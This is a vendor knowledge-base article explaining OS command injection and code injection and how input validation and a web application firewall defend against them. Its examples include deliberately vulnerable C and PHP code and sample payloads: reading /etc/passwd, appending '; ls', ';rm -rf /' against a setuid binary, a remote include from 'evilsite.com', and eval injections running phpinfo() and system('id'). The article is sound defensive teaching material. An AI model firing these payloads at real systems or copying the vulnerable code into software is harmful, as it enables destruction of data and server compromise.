OS-Command Injection

https://campus.barracuda.com/doc/14341/

Description

OS Command Injection is a critical class of vulnerability. It allows an attacker to remotely execute code or a command on a vulnerable server, which often leads to complete compromise of the server. This attack family is further classified into Remote Code Execution and Remote Command Execution – both of which are carried out through various injection attack methods.

Command Injection is a form of shell injection attack. It is most often used to execute unauthorized OS code or commands in the operating system (OS) to target the system (usually a web server) and degrade its performance. These attacks exist when the applications fail to properly validate and sanitize the parameters that they use when invoking shell functions (`system()` or `exec()`) for executing system commands. Attackers who can control these parameters can trick the application and execute any system command of their choice. In addition, these attacks are independent of OS and system implementation language (Server/Client/Middleware Programming).

Attack Effects

- The hacker can alter or corrupt the database, steal the customer's records, or, in some cases, launch a Distributed Denial of Service (DDoS) attack.
- An attacker's gaining access to a shell terminal can lead to disclosure of files not normally reachable from the missed web and privilege escalation attacks against the server.
- An attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, exploiting trust relationships to pivot the attack to other systems within the organization.

Methods

By controlling these parameters, attackers can trick the application by executing any system command of their choice. The attacker's goal is to find and exploit some of the vulnerable applications to gain unauthorized access on the host operating system.

The first step in determining command injection vulnerabilities is to understand their attack scenarios.

There are two common types of command injection attacks:

1. **Results-based Command Injections** – The vulnerable application delivers the results of the injected command. The attacker can directly infer if the command injection succeeded or not. The injection results are visible.
2. **Blind Command Injections** – The vulnerable application does not deliver the results of the injected command. Even if the attacker injects an arbitrary command, the result is not shown in the screen. Here, injection results are not visible.
   This can be classified as:
   - **Time-based technique**: The attacker presumes the result of the injected command and
     - Decides if the application is vulnerable to time-based blind command
     - Determines the length of the output of the injected command.
   - **File-based technique**: The attacker writes the results of the execution of an injected command to a file/directory (e.g., `/tmp` directories) that are accessible if the attacker is not able to see the results.

Examples

To understand the OS-Injection attack, standard examples that outline the attack techniques described by OWASP are displayed below.

Remote Command Execution

Example 1: PHP

Note that the backtick operator in PHP acts as a system call in itself.

```
system("cat /etc/passwd");
exit();
could also be programmed in below manner :
'cat /etc/passwd`
exit();
```

Example 2: UNIX

The following code is a wrapper around the UNIX command

```
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
char cat[] = "cat ";
```

```
char *command;
size_t commandLength;

commandLength = strlen(cat) + strlen(argv[1])+ 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength -
strlen(cat)) );

system(command);
return (0);
}
```

Used normally, the output is simply the contents of the file requested.

```
$ ./catWrapper Story.txt
When last we left our heroes...
```

However, if we add a semicolon and another command to the end of this line, the command is executed by `catWrapper` with no errors.

```
$ ./catWrapper "Story.txt; ls"
When last we left our heroes...
Story.txt               doubFree.c              nullpointer.c
unstosig.c              www*                    a.out*
format.c                strlen.c                useFree*
catWrapper*             misnull.c               strlength.c
useFree.c
commandinjection.c      nodefault.c             trunc.c
writeWhatWhere.c
```

If `catWrapper` had been set to have a higher privilege level than the standard user, arbitrary commands can then be executed with that higher privilege.

Example 3

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed `setuid` root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

```
int main(char* argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);
```

```
}
```

Because the program runs with root privileges, the call to `system()` also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form `;rm -rf /`, then the call to `system()` fails to execute `cat` due to lack of arguments and then plows on to recursively delete the contents of the root partition.

Remote Code Injection

Example 1

If an application passes a parameter sent via a GET request to the PHP `include()` function with no input validation, the attacker might try to execute code other than what the developer had in mind.

The URL below passes a page name to the `include()` function.

http://example.com/index.php?page=contact.php

The file `evilcode.php` might contain, for example, the `phpinfo()` function, which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the application to execute their PHP code using the following request.

http://example.com/?page=http://evilsite.com/evilcode.php

Example 2

When a developer uses the PHP `eval()` function and passes untrusted data that an attacker can modify, code injection is possible.

The example below shows a dangerous way to use the `eval()` function:

```
$myvar="varname";
$x=$_GET['arg'];
eval("\$myvar= \$x;");
```

There is no input validation, therefore the code above is vulnerable to a Code Injection attack.

For example:

```
/index.php?arg=1; phpinfo()
```

While exploiting bugs like these, an attacker may want to execute system commands. In this case, a code injection bug can also be used for command injection, for example:

```
/index.php?arg=1; system('id')
```

Prevention

Web-applications can defend against command injection attacks by performing proper input validation and sanitization. Programmers must look for all instances where the application invokes system function like exec or system.They must not be executing them, unless the parameters have been properly validated and sanitized. The possible ways to validate these parameters comprises of using block-lists or using allow-lists.

Block-lists check for malicious patterns before allowing execution. Unless the block-list covers absolutely all dangerous possibilities, the adversary can find a variation outside of the block-list to carry an attack.

Allow-lists match against safe execution patterns. If the data in question does not match any of the safe patterns it is disallowed. This solves the problem of new variations of dangerous constructs since any new (malicious) construct that doesn't match a safe one is automatically blocked.

The Barracuda Web Application Firewall can help mitigating OS-Injection attacks via its intelligent signature based techniques. The Barracuda Web Application Firewall looks for system command executions (like `exec()` and `system()`) and is configured to examine for various application based signature patterns. It provides the flexibility to fine tune the patterns depending on the application-specific need.

References

- OWASP Top 10, PCI-DSS, Server-Side Attack
- https://www.owasp.org/index.php/Code_Injection
- https://www.owasp.org/index.php/Command_Injection

See Also

- CWE-77: Command Injection
- CWE-78: OS Command Injection
- http://blog.php-security.org/archives/76-Holes-in-most-preg_match-filters.html